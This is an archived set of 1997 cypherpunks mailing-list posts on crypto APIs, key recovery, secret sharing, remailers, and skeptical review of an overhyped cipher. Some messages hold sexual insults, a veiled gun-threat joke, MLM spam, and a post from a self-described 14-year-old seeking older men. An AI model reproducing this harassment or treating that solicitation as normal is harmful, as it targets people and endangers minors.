

At 12:15 PM -0800 1/9/97, Hal Finney wrote:
>I suspect that Java, when it gets its security API, may be a good
>candidate for this kind of system.  It's already got high level socket
>I/O, and with a bignum package and some basic crypto primitives like
>one way functions, you could do a lot with it.  You still have the
>problem of trading off safety for utility, though.

More of security API has hit the web site.  Java 1.1 has some crypto
primitives (exportable).  I also think it has a bignum package (but I am
not in a good position to check right now).  Info and download a few links
away from <http://java.sun.com>.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 9 Jan 1997 20:22:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] e$
In-Reply-To: <199701100204.VAA15540@dhp.com>
Message-ID: <v0300784daefb73d5bc74@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:04 pm -0500 1/9/97, Anonymous wrote:
>Tim C. Mayo's 16Kb brain's single convolution is directly
>wired to his rectum for input and his T1 mouth for output.
>That's 16K bits, not bytes. Anal intercourse has caused
>extensive brain damage.

Hey, buddy? I don't know if you can see it or not, but there's this little
red spot on your head. It's just about where your medulla oblongata meets
your spinal cord...



Just waiting for Sandy to pull the trigger,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Fri, 10 Jan 1997 00:04:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701100724.XAA08921@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



  A beta implementation Ver:1.0 (for Win95/NT) of the
  CDSA API's has been posted to the web yesterday
  for free download.

  You can find it at www.intel.com/ial/security

  The implementation will timeout on Feb 28, 1997 and
  is non-exportable. Any feedback/comments on the
  implementation would be appreciated.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 9 Jan 1997 21:48:33 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <Pine.SUN.3.94.970109181157.707C-100000@polaris>
Message-ID: <32D5EFFB.22E8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> To wit: "I suggest zero tolerance of Black Unicorn unless and until
> someone reveals his real name."

  His (or her) name is Black Unicorn.
  Do you have a reading problem?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Thu, 9 Jan 1997 20:32:50 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: Problems with UDCM V2.0?
In-Reply-To: <970109184751_1157614624@emout05.mail.aol.com>
Message-ID: <Pine.SUN.3.94.970109233007.5558D-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 9 Jan 1997 DataETRsch@aol.com wrote:

> 
> If you are even having the slightest problem with UDCM, do not hesitate to
> send us a message at: DataETRsch@aol.com. 

I am having trouble finding the complete source code and abstract to same.
Could you forward it here please?

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Burrell <jburrell@crl.crl.com>
Date: Thu, 9 Jan 1997 21:35:33 -0800 (PST)
To: Derek Atkins <warlord@MIT.EDU>
Subject: Re: Why are 1024 bit keys the limit right now?
In-Reply-To: <sjmloa3yiif.fsf@bart-savagewood.mit.edu>
Message-ID: <Pine.LNX.3.95.970109233335.440A-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


On 8 Jan 1997, Derek Atkins wrote:

> There is no PGP 2.6.3; at least not that came from MIT... Someone
> else may have made something claiming to be 2.6.3, but it did not
> originate from MIT.

There is a pgp 2.6.3i. Apparently, it's another "international" version. I
believe it's on one of the usual sites, but I don't know what's changed in
it.


--
Good government. Good government. Sit. Stay.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 9 Jan 1997 23:36:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] e$
In-Reply-To: <v0300784daefb73d5bc74@[139.167.130.248]>
Message-ID: <32D5F10D.4D73@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
> At 9:04 pm -0500 1/9/97, Anonymous wrote:[Timmy is a.....]

> Hey, buddy? I don't know if you can see it or not, but there's this little
> red spot on your head. It's just about where your medulla oblongata meets
> your spinal cord...
> Just waiting for Sandy to pull the trigger,

Just waiting for Sandy....  Yeah, sure.  You'll be waiting for Sandy
to come get you and your pals out of the "family camp" they're
preparing for you and your kind.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 9 Jan 1997 21:19:52 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <970109181113_1044501439@emout15.mail.aol.com>
Message-ID: <199701100535.XAA00734@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> {Please read this *entire* e-mail message.}
> Hi,
> this mailing list within a few days. An end-user application will be released
> within a few weeks. I would appreciate it if all you cypherpunks out there
> review the description and the software, and tell me what you think of IMDMP.

     I think I can speak for all of us when I say we are waiting with baited 
breath. 

     Yes, Virginia, that _is_ sarcasm. 

> Also: The AOL web site address my company has may not always work out when
> the server is having problems or user overloads. Please try again later.
> Again, the web site address for UDCM, Universal Data Cryptography Module, is:
> http://members.aol.com/DataETRsch/udcm.html.

     For $100 up front, and about $40 a month you can get a real domain name
and virtual domain that doesn't have a problem with "user overloads". If 
you are so high tech, why are you using AOL for a WEB SERVER? (this is a 
seperate issue from using it for _access_)

> IN RESPONSE TO THE FLAME MAIL DATA RESEARCH HAS BEEN RECEIVING:
> Note: The 18 "sub-algorithms" of IMDMP are basically algorithm "modes", and,
> yes, many algorithms do *not* have multiple encryption layers, although,
> obviously, the more advanced ones do. Also, 256 bytes is equal to 2048 bits.
> I realize that most of you out there know that, but some of you don't. "Bits"
> are referenced more often than "bytes". And, the "industry standard" that
> IMDMP is obviously well above is DES, etc. Also, DES 128, PGP 1024, RSA 128,

     With certain versions of PGP (or rather with non-us versions of certain
libraries used by PGP) you can get much larger keys than 1024. In fact with 
2.62 you can (IIRC) do 2048.

> IDEA 128, and IMDMP 2048 were applied at their maximum settings on a file
> full of about 64 *million* repeating "A" ASCII character bytes. The mutation

     

> levels the algorithms rendered on their individual trash test files were
> compared. Subtle patterns where searched for. Binary character tallys where
> taken. IMDMP did *not* leave *any* repeating patterns in the test file that
> was used. In IMDMP, each of the 256 possible binary character combinations
> had an approximate count of  0.390625% of all of the 64 million bytes.
>  0.390625% is the best possible percentage. Are all of you out there
> satisfied?

     Well, just for fun, I wrote a short C program that wrote a file of 
64,000,000 A's, and ran it thru PGP with a key size of 1024, and grabbed the
pre-ascii armor version of it. I looked thru it, and no obvious patterns 
were there.

    PGP must use a pretty good compression algorythm(sp?) since the gzip of
the A's file is only about 13 bytes longer than the gzip version. A second 
pass of gzip gives me a file of 289 bytes.

    In fact, I would doubt that any half way decent encryption program _would
show repeating worth a damn, compression should take care of most of the 
*obvious* patterns in normal text. 2 or more passes should handle anything
deliberately (or naturally) pattern heavy. 

    So no. I am not impressed. Post the code, pay OUTSIDERS to look at your
code. Get it banned by the NSA, _then_ I'll be impressed.  
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 9 Jan 1997 23:47:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: One-time pads
Message-ID: <199701100747.XAA27657@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May is widely recognized on the net, 
because of his frequent vitriolic postings, as 
someone/thing ready to cut off his own penis to 
spite the testicles, although his friends 
recognize him better from the rear.

              0
            //\/ Timmy May
           \/\
         ... /





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Thu, 9 Jan 1997 21:08:09 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <970109181113_1044501439@emout15.mail.aol.com>
Message-ID: <Pine.SUN.3.94.970109235122.5558E-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 9 Jan 1997 DataETRsch@aol.com wrote:

> Date: Thu, 9 Jan 1997 18:11:18 -0500 (EST)
> From: DataETRsch@aol.com
> To: cypherpunks@toad.com
> Subject: IMPORTANT: Additional information about UDCM.
> 
> {Please read this *entire* e-mail message.}
> 
> Hi,
> 
> A detailed description of the IMDMP encryption algorithm will be posted to
> this mailing list within a few days. An end-user application will be released
> within a few weeks. I would appreciate it if all you cypherpunks out there
> review the description and the software, and tell me what you think of IMDMP.

This entire thread makes me want to suggest a set of guidelines for people
who are going to try and submit untested crypto software to the list so we
don't have to do this every 2 weeks.

In any event this is a good start.

[...]

> IN RESPONSE TO THE FLAME MAIL DATA RESEARCH HAS BEEN RECEIVING:
> Note: The 18 "sub-algorithms" of IMDMP are basically algorithm "modes", and,
> yes, many algorithms do *not* have multiple encryption layers, although,
> obviously, the more advanced ones do. Also, 256 bytes is equal to 2048 bits.

I dont believe this is quite what you mean.
I think you are confusing two kinds of cyphers (public and otherwise) with
each other and attributing for the difference in key measurements
(actually caused by the different keyspace for prime number based
public key systems) by using bytes and bits.

This does not bode well for your crypto expertise, if in fact this is what
you are doing.

> I realize that most of you out there know that, but some of you don't. "Bits"
> are referenced more often than "bytes".

I dont really think anyone uses bytes to refer to key size, except perhaps
in Prime Number challenges (RSA-129).

> And, the "industry standard" that
> IMDMP is obviously well above is DES, etc.

How is this obvious?

> Also, DES 128,

I'm not sure DES 128 exists.

> PGP 1024, RSA 128,
> IDEA 128, and IMDMP 2048 were applied at their maximum settings on a file
> full of about 64 *million* repeating "A" ASCII character bytes. The mutation
> levels the algorithms rendered on their individual trash test files were
> compared. Subtle patterns where searched for. Binary character tallys where
> taken. IMDMP did *not* leave *any* repeating patterns in the test file that
> was used. In IMDMP, each of the 256 possible binary character combinations
> had an approximate count of  0.390625% of all of the 64 million bytes.
>  0.390625% is the best possible percentage. Are all of you out there
> satisfied?

No.

A simple entropy test does not a cypher make.  I'd also like to know what
patterns were tested for as certainly I know of no test which can prove
that a given set of data does not have "*any* repeating patterns."
Entropy is subjective.  Perhaps it encodes stuff in Estonian.  There may
not be recognizeable patterns in english, but there certainly will be
patterns.  Perhaps its output exactly mimics the radiowave noise from
Alpha Centauri between 10pm and 10:00.0056pm January 1.  You can't show me
it doesn't, and if you could I could just invent a new pattern to get you
to test.  (How many angels....)

Can't prove a negative (there are no patterns in here).

Your cypher has obviously undergone a lot of work.  This too does not a
cypher make.  Nor does your hype.  That usually a cypher unmakes, in fact.

My suggestion:  Full disclosure on your cypher coupled with a reduction in
the sales and marketing rhetoric that we are getting from you.  (You might
try a non AOL address too, adds a bit more respectability).

> Jeremy K. Yu-Ramos
> President
> DataET Research
> Data Engineering Technologies
> 

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frank O'Dwyer" <fod@brd.ie>
Date: Thu, 9 Jan 1997 17:24:13 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: [IDEA] Cypherpunks Super Computer (was Re: The Upcoming DES Challenge)
In-Reply-To: <199701092015.MAA00707@crypt.hfinney.com>
Message-ID: <199701100041.AAA11442@brd.ie>
MIME-Version: 1.0
Content-Type: text/plain



[...] 
> I suspect that Java, when it gets its security API, may be a good
> candidate for this kind of system.  It's already got high level socket
> I/O, and with a bignum package and some basic crypto primitives like
> one way functions, you could do a lot with it.  You still have the
> problem of trading off safety for utility, though.

I like Java too, however it is getting to be a systems programming
language.  In my experience people are irrationally scared of it, too
(while happily tapping their secrets into MS-word, of course :-)

What I have in mind is more obviously restricted, and more like a 
programmable calculator (with bignums and buttons marked "DES") - no
sockets, no files, no system calls, etc.  Just number-crunching.
 
I take the point about Safe-TCL, but there must be some way of doing
this in a way that enough people think it's safe to run. 

Cheers,
Frank O'Dwyer.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 10 Jan 1997 00:17:21 -0800 (PST)
To: Blake Coverett <blake@bcdev.com>
Subject: Re: Humor from the UDCM help file
In-Reply-To: <01BBFE71.053CC990@bcdev.com>
Message-ID: <32D6039B.35D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blake Coverett wrote:
> 
> The Exportation Restrictions section reads as follow:
> 
>     As of the release of UDCM V2.0, there are no absolutely no
>     United States exportation regulation laws that actually affect
>     the electronic Internet distribution of the IMDMP encryption
>     algorithm. Electronic distribution technically does not constitute
>     physical distribution. So because of that, it is perfectly legal for
>     UDCM V2.0 to be digitally distributed world-wide.> 

> Could someone please forward this to Dan Bernstein and
> Phil Karn, I'm sure they'll be happy to know that they can
> drop the law suits now.

  I got the same advice from my legal counsel (for a quart of Budwiser
and a pack of Camel straights).

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 9 Jan 1997 23:01:07 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Key Escrow Good, GAK Bad
In-Reply-To: <199701092357.PAA23840@slack.lne.com>
Message-ID: <199701100705.BAA18682@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701092357.PAA23840@slack.lne.com>, on 01/09/97 at 07:57 PM,
   Eric Murray <ericm@lne.com> said:


>Ken Kirksey writes:
>> 
>> >  To me, Key Recovery cryptography is like using a condom with a
>> >hole in it. No thanks.
>> 
>> I agree in principle, and I doubt I would ever use a key recovery system 
>> if I had a choice.  But, speaking as a network manager, I know that 
>> private key recovery (not GAK) can be an enhancement to security.  
>> 
>> I'll give an example.  About a year ago, my boss wanted to protect his 
>> file of annual financial projections for the company from prying eyes on 
>> our Macintosh network.  I installed CurveEncrypt on his machine, showed 
>> him how to use it, and gave him the standard lecture on choosing a good 
>> passphrase.  I stressed that he needed to chose a passphrase easy to 
>> remember, because if he forgot it, there was no way to get his file back.
>> 
>> Well, he forgot his passphrase.  He spent an hour trying every 
>> combination he could think of, interjecting a curse here and there for 
>> color.  He is now totally off using encryption to protect sensitive 
>> information.

>User education would be even easier than key escrow.  Your boss could
>have shared that passphrase with one or more other people, ideally the
>people who helped him make the report.  When you encrypt something
>that's vital to the company, you need to make sure that it can be
>gotten back.  In most companies, there's more than one person who
>is 'cleared' for even the more vital information.  The keys to
>those files should be shared amongst those people.

>Unfortunately, few encryption programs make this easy.  And even though
>you can do it in PGP by encrypting to multiple recipients, how many
>people think to do so?  I don't.  Most programs assume that there's one
>key that that's used to encrypt everything, hence one level of security-
>the highest.  But in a business situation you really need to be able to
>encrypt something with your key and your secretary's key, or the keys of
>all the board members, etc.

Would not this be the perfect senario for the implementation of Shamir's Secret Sharing?
Rather that having several people being able to access the data
independent of each other having a shared key where it requited say 3 out of
5 members to access the data?

That way a breach of security of one key does not result in a breach of security of all
data.

Are there any know implementations of this?

Thanks,



- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtXo/49Co1n+aLhhAQEZ3QP7BSwuDC7OyXpNPGg8HtROkHkMTpIP6oBf
S/NvqazKt8PFsnmpY0m2aCaZzHUOSD5d42tOVxZr8xJK7ylm/DIbwACgRtGDL6yT
61RUn4c8kXoS8bKOCRWyQvcyZJWSy4ddcnTlj/y7zbmmKOqvxdWWf333+NvWsbG1
xpcsm6n7sy4=
=v0Q6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 10 Jan 1997 00:19:01 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <Pine.LNX.3.95.970109205833.413A-100000@eclipse.voicenet.com>
Message-ID: <32D60910.5BB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
> On Thu, 9 Jan 1997 DataETRsch@aol.com wrote:
> 
> > IN RESPONSE TO THE FLAME MAIL DATA RESEARCH HAS BEEN RECEIVING:

  The 'flames' used as examples seemed to me to be nothing more than
valid questions regarding the DataETR's claims for their software.

(Big Hint / Questions from conferences with the word 'punks' in the
name are not likely to be accompanied by bowing gestures and
exclaimations of amazement at unsubstantiated claims).

> >  0.390625% is the best possible percentage. Are all of you out there
> > satisfied?
> 
> Not especially.  I'd still be interested in the design criteria used to develop
> this algorithm.  Until you publish the full source and technical data, I will
> have to assume that the algorithm is insecure.

  Keep in mind that many CypherPunks dream in numbers.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 10 Jan 1997 01:33:16 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <3.0.32.19970110011150.00757b38@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:04 PM 1/9/97 -0500, Black Unicorn wrote:

>Go out to a law book store and take a look at the guideline book.  It's
>actually a lot of fun.  "Ok, say I killed my wife for her coke stash and
>recruited my brother to dump the body..."

The US Sentencing Commission and the guidelines are on the Web - see
<http://www.ussc.gov> for general Commission stuff, and
<http://www.ussc.gov/guide/guidetab.htm> for the 1995 manual (there have
been amendments, but this ought to be good enough for just goofing off).

I haven't seen the recent Supreme Court decision yet, but from the
description it sounds like they haven't done anything more than affirm what
the federal courts have been doing for some time now. In general, crimes or
bad acts which are used at sentencing must only be proved to a
preponderance standard, and the judge is the trier of fact. The use of
uncharged bad acts evidence is old news.

I wish I had some hope that recent trends eroding away vital constitutional
rights would be reversed - but being tough-on-crime is very popular. What
are we going to do when we no longer have even two useful Constitutional
rights to rub together? 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 9 Jan 1997 23:50:57 -0800 (PST)
To: mycroft@actrix.gen.nz (Paul Foley)
Subject: Re: encryption program
In-Reply-To: <199701100342.QAA20144@mycroft.actrix.gen.nz>
Message-ID: <199701100744.BAA07018@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Paul Foley wrote:
> 
> On Wed, 8 Jan 1997 19:32:20 -0600 (CST), Igor Chudov wrote:
> 
>    Cypherpunks, why don't we try to crack his encryption program? It seems
>    like a fun exercise.
> 
> Well, a few minutes looking at it turned up the following:
> 
> * Capitalisation and word lengths are retained in the ciphertext, so
>   there's no transposition involved (or he's being sneaky to make it
>   look that way :-) )

I also did a frequency analysis on letters of the ciphertext. Here's the
output of my frequency program: 

a:71 b:72 c:66 d:55 e:48 f:57 g:68 h:49 i:72 j:52 k:59 l:48 m:77 n:80
o:41 p:70 q:59 r:63 s:62 t:63 u:53 v:55 w:62 x:60 y:45 z:66

Min = 41, Max = 80, mean = 60.500000, std = 10.044899

16 letters' frequencies are within 50--70, 10 are out, which 
suggests that the distribution may not be "normal". For a normal the
proportion should be something like 84:16.

I also tried xoring the plaintext line with the ciphertext line, w/o
much enlightenment.

> * The two 'e's in the first word have different ciphertext equivalents,
>   so it's not a single-alphabet substitution

yes

> * The words "wjq nwcc" occur together twice, 300 characters apart,
>   the word "iyn" occurs three times, 375 and 300 characters apart,
>   the word "fhw" occurs twice, 1400 characters apart, and
>   the word "git" occurs twice, 500 characters apart.  This suggests
>   a repeating key of length 5 or 25 characters.

I also likes "follows": "vkbcjtp" note how ll gets translated to "bc".
That suggest that after some encryption of each letter from the plaintext
there is a consecutively increasing number added.


> * However, the letter 'r' in "Here" and "encryption" and the letters
>   'am' in "example" and "program" occur 25 characters apart and have
>   different ciphertext equivalents.  Possibly the key position is
>   being incremented when "encrypting" digits and other non-alphabetic
>   symbols, so my counts above (only letters) are wrong.

> Also, I suspect that in the following ciphertext, EJMDLH.WKN and
> ZFIYVZ.XGA are "CONFIG.SYS", KALMF is "FILES" and "ZPKQUST" is
> "BUFFERS".

agree, there is a lot of other similar stuff
 
>    ##>      Pbg qpypmjf EJMDLJ.WKN prbthucy hxzb tbcmsfs iyn bsfijsyey hdokz:
>    ##> 
>    ##>       KALMF=20
>    ##>       ZPKQUST=20
>    ##> 
>    ##>      Z ixyh ZFIYVZ.XGA crxg ckqm wam wjq nwcc qjt QMUSAXH dsi ei:
> 
> -- 
> Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred
> 
> 	   PGP key ID 0x1CA3386D available from keyservers
>     fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
> ----------------------------------------------------------------------
> Life is a POPULARITY CONTEST!  I'm REFRESHINGLY CANDID!!
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moesch@aol.com
Date: Thu, 9 Jan 1997 22:50:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Save & Earn $$$ On Long Distance!
Message-ID: <199701100650.BAA12991@newman.cris.com>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,


Hi,
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valuable time and effort into, then LOOK NO FURTHER...... 
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second billing! Excellent int'l Rates 
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4)   Total of 15% commissions through 5 levels!
5)   Additional services to be added soon 

For more info E-Mail me at Moesch@concentric.net. In the subject type "More".







                                      
 	 	             





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dozer@netwizards.net
Date: Fri, 10 Jan 1997 02:01:08 -0800 (PST)
To: jyu-ohjelmointi-cypherpunks@mail.uu.net
Subject: would you be my friend?
Message-ID: <5b540n$kmr@news1-alterdial.uu.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

I'm 14 years old and I think I may be a gay.  I'm looking for some support and friendship 
with a older male age 18-40.  Please email if you can help.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 10 Jan 1997 00:24:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Search for Remailer
Message-ID: <TCPSMTP.17.1.10.3.24.34.2780269260.1459029@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

It probably has been discussed before, but since the shutdown of
Penet and the re-design of c2.org, I am looking for a remailer, that
allows an reply adress.
Since it doesn't have to be high-security, the format of
My mailbox-->Remailer-->Recipient, and subsequently
Recipient-->Remailer-->My mailbox, would be enough.

Please copy replies to my private e-mail, for I am currently
not subscribed to CPs...

Thanks in advance for your help...

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/* Note: My old key (KeyID: B2728495) has been revoked.      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMtXvzzltEBIEF0MBAQElkAf/X4cqUEzB573IHpEsiXhGUgXjD91B9y8d
3mcVvutblQrrkvMzdCjXA+0QPh6PSuVrDTKNR4qTfvzGSC6apxVwZRApd2bdYXKl
ZXL85kfxPXKAeQOidUqlhZmLVaT6x7HzELox7ovR+el4El2yb3LdWyeoK/xhlq6K
DSpOKJawhFlZv/5FzSyEoPDIztY8E7Xp74PCr7XWAclY0Xi/cS8H7WGGOskZOAme
AxsHB2PeR+0DLOE5zToABA/HDZuws4pnHB6NcR4jzi9lkp2FoHJxvpgZzTn55fNz
KnQpsvh3q/a1UUiWe0NUUEP0VjMtqyOm098UuhhN2gN1MDyaNT+q7A==
=oUW9
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel McNamara <joelm@eskimo.com>
Date: Fri, 10 Jan 1997 07:23:03 -0800 (PST)
To: pgp-users@rivertown.net
Subject: Private Idaho source code now available
Message-ID: <3.0.32.19970110072140.00d1320c@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


Private Idaho 2.8b3, a bug fix version of the popular Windows freeware PGP
and remailer utility, is now available.  This will be my last official
release of PI for the foreseeable future.

Due to other projects and new directions, I haven't been able to spend as
much time as I'd like coding and supporting Private Idaho.  Instead of
seeing it die on the vine, I've decided to release the source code under
the GNU General Public License (export disclaimer - the sources do not
include, or have ever contained, cryptographic algorithms).

I'm hoping one or more, like-minded, privacy-oriented developer(s) will
step forward to continue with PI's evolution.  There's a lot of
functionality in the application right now, but there are still some
enhancements to be made (localized and 32-bit versions, some more minor bug
fixs, etc.).

I'll still be maintaining the Private Idaho Web page, and if new versions
do appear, they'll be distributed there.
 
See http://www.eskimo.com/~joelm/pi.html for complete details on getting
the sources.

Thanks for all the support and feedback you've provided over the past
several years.

Joel





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 10 Jan 1997 04:52:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <Pine.SUN.3.94.970109181157.707C-100000@polaris>
Message-ID: <ZBFB1D46w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn <unicorn@schloss.li> writes:

> On Thu, 9 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > "William H. Geiger III" <whgiii@amaranth.com> writes:
> >
> > > Well I guess I will not need to worry about them since I will never run a
> > > reguardless how may laws the jackboots in DC pass.
> >
> > That's from the same guy who endorses censorship on this mailing list...
>
> Wait a second, isn't that what you were just calling for in my case?
>
> To wit: "I suggest zero tolerance of Black Unicorn unless and until
> someone reveals his real name."

Not quite.

          No censorship
          is better than
          consistent censorship
          is which is better than
          arbitrary censorship.

*IF* this list is to be moderated, then Unicorn and Plucky Green have
to banned from it - unless their real names are revealed.

> For the guy who has been screaming his head off about censorship to the
> point of nausea you were sure quick to turn your coat in my case.  That
> more than anything else you have ever said puts the cap on your
> credibility as far as I'm concerned.

OK, let's guess one letter at a time. Does your last name start with 'M'?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 10 Jan 1997 04:50:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation and the Polymorphic Virus
In-Reply-To: <970109.155557.4E2.rnr.w165w@sendai.scytale.com>
Message-ID: <NgFB1D47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


roy@sendai.scytale.com (Roy M. Silvernail) writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> In list.cypherpunks, serw30@laf.cioe.com writes:
>
> > Dr.Dimitri Vulis KOTM writes:
> >> "Cypher punks" can't write any code - be it mail filters, viruses, or
> > crypto.
> >>
> > Aw,  surely "Cypher punks" can write some sort of code.
>
> I'm a cypherpunk.  Just for the record, I wrote the code that Vulis
> himself uses to process his UUCP traffic.
> - --
> Roy M. Silvernail                             roy@scytale.com
>               Keeping Waffle Irons hot since 1989
>            Run Waffle?  Rnews locking up?  You need RUUXQT!
> echo /get /pub/waffle/uuxqt37.zip | rmail file-request@scytale.com

*IF* you write code (as opposed to putting your name on someone else's
code) then you're not a "cypher punk".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




